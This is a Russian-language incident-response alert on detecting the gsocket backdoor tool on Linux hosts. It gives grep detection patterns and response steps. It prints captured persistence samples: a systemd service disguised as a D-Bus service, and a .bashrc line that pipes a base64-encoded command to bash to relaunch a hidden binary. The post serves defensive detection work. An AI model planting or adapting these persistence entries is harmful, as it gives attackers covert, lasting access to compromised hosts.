CyberSquatting RU Alerts

Gsocket: как найти один из самых популярных инструментов🙂 В процессе расследования множества инцидентов, связанных с компрометацией Linux-узлов, мы часто обнаруживаем на них различные хакерские инструменты. Одним из самых популярных из них является gsocket. Хакеры часто используют его для подключения к скомпрометированным узлам. 🔦 Для обнаружения признаков установки инструмента можно искать следующее: 1️⃣ Сервис с именем D-Bus System Connection Bus: systemctl | grep "D\-Bus System Connection Bus" Пример: EVILSERVICE.service loaded active running D-Bus System Connection Bus 2️⃣ Файлы, через которые может осуществляться закрепление в системе и в которых встречаются строки по следующему паттерну: 'D\-Bus System Connection Bus|GS_ARGS\=|echo .+\|base64 \-d\|bash.+seed prng.+kernel' egrep -ar 'D\-Bus System Connection Bus|GS_ARGS\=' /usr/lib/systemd/ /{lib,run,etc}/systemd/ egrep -aor 'echo .+\|base64 \-d\|bash.+seed prng.+kernel' / 👀Пример (service-файл): Description=D-Bus System Connection Bus After=network.target [Service] Type=simple Restart=always RestartSec=10 WorkingDirectory=/root ExecStart=/bin/bash -c "GS_ARGS='-ilq' exec -a '[abc]' '/usr/bin/abc'" [Install] WantedBy=multi-user.target 👀Пример (.bashrc): # ~/.bashrc: executed by bash(1) for non-login shells. # DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel { echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDAxIGFiYyAyPi9kZXYvbnVsbCB8fCAoVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS91c2VyLy5jb25maWcvaHRvcC9hYmMuZGF0IC1saXFEIiBleGVjIC1hICdbYWJjNXJyXScgJy9ob21lL3VzZXIvLmNvbmZpZy9odG9wL2FiYycgMj4vZGV2L251bGwpCg==|base64 -d|bash;} 2>/dev/null #34uhu4gg3g3g34g3 >/dev/random # seed prng abc-kernel # see /usr/share/doc/bash/examples/startup-files (in the package bash-doc) # for examples # If not running interactively, don't do anything case $- in *i*) ;; *) return;; esac .... 📌Для обнаружения признаков наличия инструмента на периметре можно поискать узлы, взаимодействующие с gsocket․io, а также серверами из поста. 📃Рекомендации по дальнейшим действиям: 1️⃣ Заблокировать адреса управляющих серверов; 2️⃣Удалить файлы, относящиеся к gsocket, а также изменить файлы, через которые gsocket закрепился в системе; 3️⃣ Перезагрузить скомпрометированный хост; 4️⃣ Осуществить поиск подозрительных входов по сети и проверку логов веб-сервера (если он есть и торчит наружу). #DFIR#detect#hacktool#tips#linux @ptescalator